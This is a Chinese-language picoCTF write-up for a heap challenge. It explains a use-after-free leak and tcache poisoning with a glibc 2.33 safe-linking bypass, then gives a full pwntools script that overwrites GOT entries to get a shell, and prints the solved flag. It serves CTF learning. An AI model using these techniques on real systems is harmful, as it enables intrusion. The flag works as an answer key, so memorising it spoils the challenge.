Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'./'

這題是很標準的 heap pwn,主要的洞在於有 UAF,然後它自訂的讀字串函數在遇到 \xff 時就會 return,所以讓它不會覆蓋掉 heap pointer 就能拿到 heap leak。

打法其實就很標準的 tcache poisoning,不過因為這題因為 glibc 版本是 2.33,所以還要繞過 safe linking。拿到 heap leak 和任意寫之後結合 No PIE 和 Partial RELRO 可知能寫掉 GOT,而對應了 binary 的一些操作我決定先寫 sh 到 bss 的某處,然後讓 stderr="sh" 並複寫 setbuf@GOT 到 resolve system 的地方,然後同時把 printf 覆蓋成呼叫 setbuf(stderr, ...) 的地方,這樣就有 shell 了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
from pwn import *

context.terminal = ["tmux", "splitw", "-h"]
context.arch = "amd64"
context.log_level = "debug"


def cheat(idx: int, name: bytes, new_pos: int):
io.sendlineafter(b"Choice: ", b"0")
io.sendlineafter(b"? ", str(idx).encode())
io.sendlineafter(b": ", name)
io.sendlineafter(b"? ", str(new_pos).encode())


def add_horse(idx: int, name: bytes, namelen: int = None):
if namelen is None:
namelen = len(name)
io.sendlineafter(b"Choice: ", b"1")
io.sendlineafter(b"? ", str(idx).encode())
io.sendlineafter(b"? ", str(namelen).encode())
io.sendlineafter(b": ", name)


def remove_horse(idx: int):
io.sendlineafter(b"Choice: ", b"2")
io.sendlineafter(b"? ", str(idx).encode())


def race():
io.sendlineafter(b"Choice: ", b"3")


def demangle(obfus_ptr):
o2 = (obfus_ptr >> 12) ^ obfus_ptr
return (o2 >> 24) ^ o2


elf = ELF("./vuln")
if args.REMOTE:
io = remote("saturn.picoctf.net", 58286)
else:
io = process("./vuln")
# io = gdb.debug(
# "./vuln",
# "\n".join(
# [
# "b sleep",
# "commands",
# "return",
# "c",
# "end",
# "gef config context.enable false",
# "c",
# ]
# ),
# )
# need to have at least 5 horses to race
add_horse(15, b"X" * 0x18)
add_horse(16, b"Y" * 0x18)
add_horse(17, b"Z" * 0x18)
add_horse(0, b"A" * 0x10)
add_horse(1, b"B" * 0x10)
remove_horse(0)
remove_horse(1)
# [1] -> [0]
add_horse(1, b"\xff", 16)
add_horse(0, b"A" * 0x10)
race()
if args.REMOTE:
# hack
# when we send `3\n` to remote, remote will respond with `3\r\n`...
assert io.recvline() == b"3\r\n"
io.recvline() # name for 0
leak = io.recvline().strip(b" |\r\n") # name for 1
print("LEAK", leak)
io.recvuntil(b"WINNER: ")
print("win", io.recvline())
print(leak)
ptr = demangle(int.from_bytes(leak, "little"))
print(f"{ptr = :#x}") # points to name for 0


remove_horse(0)
remove_horse(1)
target = 0x4040E0 # cheated
print(f"{target = :#x}")
cheat(1, p64(target ^ (ptr >> 12)).ljust(16, b"\x00"), 0)
add_horse(1, b"A" * 0x10)
add_horse(0, p64(target + 8) + b"sh".ljust(8, b"\x00")) # write
# now stderr = "sh"

remove_horse(15)
remove_horse(16)
# [16] -> [15]
target = elf.got["setbuf"] # 0x404040
print(f"{target = :#x}")
cheat(16, p64(target ^ (ptr >> 12)).ljust(16, b"\x00"), 0)
add_horse(16, b"A" * 0x18)
# got table layout: setbuf, system, printf
resolve_system = 0x401096
add_horse(15, p64(resolve_system) * 2 + p64(0x401B90))

io.interactive()
# picoCTF{t_cache_4ll_th3_w4y_2_th4_b4nk_f9c8bf9d}

這題其實有個比較坑的地方是 remote 會把你輸入的東西 echo 回來,並且用 \r\n 而非 \n...。就其他人所說這是因為 remote 用 socat 的 pty mode 導致的結果...。